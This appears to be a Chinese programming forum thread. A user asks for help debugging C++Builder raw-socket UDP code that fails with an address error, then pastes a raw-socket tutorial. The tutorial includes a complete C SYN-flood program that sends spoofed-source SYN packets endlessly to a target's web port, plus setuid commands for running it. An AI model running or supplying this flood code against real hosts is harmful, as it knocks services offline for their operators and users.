谁做过原始套接字的程序？这段程序总出错。加了点原始套接字的资料。我实在想不出来那里错了 (200分)

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
//---------------------------------------------------------------------------
#include "Winsock2.h"
#include "ws2tcpip.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

//接收
const rdPort=4003; //数据报端口 4003
const urPort=4005; //原始端口 4005 UDP

typedef struct ip_hd
{
unsigned char ip_verlen; // IP头长度
unsigned char ip_tos; // IP服务类型
unsigned short ip_totallength; // 数据包长度
unsigned short ip_id; // 标识段
unsigned short ip_offset; // 标志段
unsigned char ip_ttl; // 包生存时间
unsigned char ip_protocol; // 协议类型
unsigned short ip_checksum; // IP头校验和
unsigned int ip_srcaddr; // 源地址
unsigned int ip_destaddr; // 目标地址
}IP_HD;

typedef struct udp_hd //定义UDP首部
{
unsigned short src_portno; // 源端口号
unsigned short dst_portno; // 目标端口号
unsigned short udp_length; // UDP包长度
unsigned short udp_checksum; // UDP校验和
}UDP_HD;

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{WSADATA wsaData;
SOCKET u_r;

int err=WSAStartup(MAKEWORD(2,2),&amp;wsaData);
if (err!=0)
ShowMessage("不能初始化WinSock!");

bool on=true;
u_r=socket(AF_INET,SOCK_RAW, IPPROTO_UDP);
if (u_r==INVALID_SOCKET )
ShowMessage(IntToStr(WSAGetLastError()));
setsockopt(u_r,IPPROTO_IP,IP_HDRINCL,(char *)&amp;on,sizeof(on));
//需要管理员身份

IP_HD *ip;
UDP_HD *udp;
int head_len=sizeof(IP_HD)+sizeof(UDP_HD);
char buffer[1000]={0};

String myIP="";

sockaddr_in in_r;
in_r.sin_family=AF_INET;
in_r.sin_addr.s_addr=inet_addr("目标地址，随便添");
in_r.sin_port=htons(rdPort);
bool optval = true;
/******** 填充IP数据包的头部 ******/
ip=(IP_HD *)buffer;
ip->ip_verlen=(4<<4)|(sizeof(IP_HD)/sizeof(unsigned long));
/** 版本一般的是 4 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_totallength=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写 **/
ip->ip_offset=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=128; /** 最长的时间 128 **/
ip->ip_protocol=IPPROTO_UDP; /** 我们要发的是 UDP包 **/
ip->ip_checksum=0; /** 校验和让系统去做 **/
ip->ip_destaddr=in_r.sin_addr.s_addr;/** 目标对象 **/
ip->ip_srcaddr=inet_addr("自己的地址");
/** 源对象 **/
/******* 开始填写UDP数据包 *****/
head_len=sizeof(UDP_HD);
udp=(UDP_HD *)(buffer +sizeof(IP_HD));
udp->src_portno=htons(urPort);
udp->dst_portno=in_r.sin_port;
udp->udp_length=htons(head_len);
udp->udp_checksum=0;

head_len=sizeof(IP_HD)+sizeof(UDP_HD);

sendto(u_r,buffer,head_len,0,(sockaddr*)&amp;in_r,sizeof(in_r));
ShowMessage(IntToStr(WSAGetLastError()));//就是这里有错误，错误代码100049，
//错误含义：不能分配请求的地址。A P I调用中指定的地址对那个函数来说无效时，
就会产生这样的错误。例如，若在b i n d调用中指定一个I P地址，但却没有对应的本地I P接口，
便会产生这样的错误。另外，通过c o n n e c t、W S A C o n n e c t、s e n d t o、
W S A S e n d To和W S A J o i n L e a f这四个函数为准备连接的远程计算机指定端口0时，
也会产生这样的错误。

}
//---------------------------------------------------------------------------

这是c++builder的程序，和delphi没什么区别

大家帮助看一下，说说自己对这个问题的想法。

up

原始套接字的资料：
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).
在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW).
应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
注意原始套接字只能够由有root权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字
比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看
下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序.
下面是程序的源代码

/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
exit(1);
}

bzero(&amp;addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&amp;addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&amp;on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());

/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&amp;addr);
}



/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;


/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&amp;answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&amp;0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊).
为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,
且 设置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了.
不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,
我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,
回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.
而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,
由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,
如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.

--------------------------------------------------------------------------------

up

再up一下